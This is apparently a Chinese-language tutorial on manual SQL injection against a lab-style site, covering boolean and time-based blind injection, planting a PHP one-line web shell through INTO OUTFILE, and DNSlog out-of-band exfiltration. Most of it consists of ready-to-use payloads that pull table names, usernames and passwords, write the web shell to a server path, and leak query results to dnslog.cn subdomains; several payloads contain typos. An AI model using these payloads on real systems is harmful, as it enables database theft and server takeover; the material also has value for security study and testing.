布尔盲注

web页面只返回true真,false假两种类型

利用页面返回不同,逐个猜解数据

关键函数

ascii()

函数ascii() 美国信息交换标准代码,可以把字母转换为对应数字

select ascii('e');
SQL注入——盲注&文件上传注入&DNSlog手动注入插图

查询命令可以执行,但不会返回信息到页面

可以试用ascii()把查询到的内容转换成数字,以真假页面来判断字母和s对应的数字是否正确

?id=1' and ascii(substr(select database()1,1)=? --+
#从第一个字符开始,依次显示一个字符,通过ascii码判断为什么字符即可
也可使用 >=、<=

布尔盲注

?id=1' and ascii(substr('abcd',1,1))>100 --+

把‘abcd‘替换成想查询的数据库语句即可

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
    #此处没必要试用group_concat()函数,而是使用limit 0,1 
    #从第0行开始显示1行,从结果的第一行数据依次查询。

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100 --+

?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100 --+

?id=1' and ascii(substr((select password from users limit 0,1),1,1))>100 --+
SQL注入——盲注&文件上传注入&DNSlog手动注入插图1

时间盲注

web页面只返回一个正常页面。

利用页面响应时间不同,逐个猜解数据

前提是数据库会执行命令代码,只是不反馈页面信息

函数sleep()

参数为休眠时长,以秒为单位,可以为小数

函数id(condition,true,false)

select if(1=1,sleep(0),sleep(3));
#1=1为真,执行休眠时间0秒

而后在if中比较大小,根据布尔盲注内容

select if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3))
?id=1' and if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3)) --+

sql注入文件上传

文件上传拿web shell

mysql文件上传要点

  1. show variables like ‘%secure%’; 用来查看mysql是否有读写文件权限;
  2. 数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限;
  3. into outfile 命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径。

进行闭合方式测试

?id=1'
    #出现报错
?id=1' --+
    #报错消除,则为单引号闭合,反之则不为单引号闭合,因此要进行多次测试

双引号可能不会报错,但可能实际的闭合方式不是双引号,由于双引号被两个 单引号闭合在里面,已经失去了双引号的功能。

判断指令是否正确

?id=1' and 1=2 --+
    #若仍不报错,则说明可能是闭合方式有问题
    #可用and 1=1和and 1=2判断闭合方式

测试列数

?id=1')) order by 3 --+

测试查询语句

?id=1')) union select1,2,3 --+

文件上传指令

一句话木马

<?php @eval($_POST['password']);?>
?id=-1')) union select 1,"<?php @eval($_POST['password']);?>",3 into outfile "D:\\phpstudy_pro\\WWW\\ben.php" --+
    #<?php @eval($_POST['password']);?>为一句话木马
    #password为预留密码
    #D:\\phpstudy_pro\\WWW\\为文件路径
    #ben.php为新插入的文件名

DNSlog手动注入

函数load_file()

select load_file("C:\\benben.txt");

UNC路径

格式:\servername\sharename,其中servername是服务器名,sharename是共享资源的名称。

目录或文件的UNC名称可以共享名称下的目录路径,格式为:\servername\sharename\directory\filename

需要用到的网站

http://ceye.io

http://www.dnslog.cn/

使用以上网站进行子域名创建之后,对数据库使用load_file()函数

select load_file("//",(select database()),".xxx.xxx.com");

而后,回到网站,点击refresh record,即可看到尝试访问的域名,由此可以得到database()的内容

手动注入

获得库名

and (select load_file(concat("//",(select database()),".1tqej8.dnslog.cn/benben"))) --+
    #使用concat拼接字符串

获得表名

and (select load_file(concat("//",(select table_name from information_schema.tables where table_shcema=database() limit 0,1),".1tqej8.dnslog.cn/benben"))) --+
    #使用concat拼接字符串

获得列名

and (select load_file(concat("//",(select column_name from information_schema.columns where table_shcema=database() and table_name=users limit 0,1),".1tqej8.dnslog.cn/benben"))) --+
    #使用concat拼接字符串